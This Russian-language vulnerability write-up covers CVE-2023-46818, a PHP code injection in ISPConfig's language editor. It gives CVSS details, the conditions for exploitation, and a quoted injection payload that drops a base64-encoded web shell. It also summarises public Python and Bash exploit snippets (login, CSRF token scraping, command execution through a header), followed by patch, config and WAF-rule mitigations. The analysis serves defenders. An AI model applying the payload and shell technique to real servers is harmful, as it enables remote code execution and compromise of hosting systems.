
Уязвимость CVE-2023-46818 в ISPConfig
Уязвимость CVE-2023-46818 в ISPConfig версий до 3.2.11p1 позволяет администратору с включенной опцией admin_allow_langedit
выполнить произвольный PHP-код на сервере через редактор языковых файлов. Атака возможна из-за отсутствия санитизации пользовательского ввода в параметре records[]
скрипта /admin/language_edit.php
, который динамически генерирует исполняемый PHP-код.
Анализ уязвимости
Уровень опасности: 7.2 HIGH
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Attack Vector - Network) - Атака через сеть
-
AC:L (Attack Complexity - Low) - Низкая сложность эксплуатации
-
PR:H (Privileges Required - High) - Требуются высокие привилегии (администратор)
-
UI:N (User Interaction - None) - Без взаимодействия с пользователем
-
S:U (Scope - Unchanged) - Воздействие на один компонент
-
C:H (Confidentiality - High) - Полная компрометация конфиденциальности
-
I:H (Integrity - High) - Полная компрометация целостности
-
A:H (Availability - High) - Полная компрометация доступности
Условия эксплуатации:
-
Версия ISPConfig ≤ 3.2.11
-
Включена опция
admin_allow_langedit
в конфигурации -
Наличие учетной записи администратора
-
Доступ к панели управления из внутренней/внешней сети
Механизм уязвимости
Код language_edit.php
динамически генерирует PHP-файлы на основе пользовательского ввода без должной фильтрации.
Эксплойт к CVE-2023-46818 использует конструкцию:
injection_payload = f"'];file_put_contents('sh.php',base64_decode('{encoded_php}'));die;#"
Которая преобразуется в:
$LANG[''] = ''];file_put_contents('sh.php',base64_decode('PD9waHAg...'));die;#';
Анализ эксплойтов из общего доступа
Python-версия:
-
Аутентификация:
session.post(login_url, data={'username':user, 'password':password})
-
Подготовка инъекции:
Генерация случайного имени файла (.lng) для обхода кэширования:lang_file = ''.join(random.choices(string.ascii_letters,k=8)) + ".lng"
-
CSRF-токены:
Извлекает токены из HTML-ответа:csrf_id = response.text.split('_csrf_id" value="')[1].split('"')[0]
-
Инъекция шелла:
Отправка payload через параметрrecords[\\]
:session.post(lang_edit_url, data={'records[\\]': injection_payload})
-
Выполнение команд:
Команды передаются через заголовокC
в base64:headers = {'C': base64.b64encode(cmd.encode()).decode()}
Bash-версия:
-
Кодирование полезной нагрузки:
ENCODED=$(echo -n "$PHP_PAYLOAD" | base64 -w0)
-
URL-кодирование:
Используетjq
для безопасной передачи:ENCODED_INJECT=$(printf '%s' "$INJECT" | jq -s -R -r @uri)
-
Управление сессией:
Сохраняет куки в файл для повторного использования:curl -sk -c "$COOKIE_FILE" -d "username=$USER&password=$PASS"
Защита и рекомендации
-
Обновление:
Обновить до версии выше 3.2.11p1 ISPConfig или установить 3.2.11p1 с патчем:- $phpcode .= "\$LANG['".$key."'] = '".$value."';\n"; + $phpcode .= "\$LANG['".addslashes($key)."'] = '".addslashes($value)."';\n";
-
Отключение опасных функций:
В файлеconfig.inc.php
:$conf['admin_allow_langedit'] = false; // Отключить редактор
-
WAF-правило (ModSecurity):
SecRule ARGS_POST:records "@contains');" \ "id:1001,deny,msg:'CVE-2023-46818 Exploit Attempt'"
-
Принцип минимальных привилегий:
-
Ограничить доступ к
/admin/
по IP -
Использовать 2FA для администраторов
-
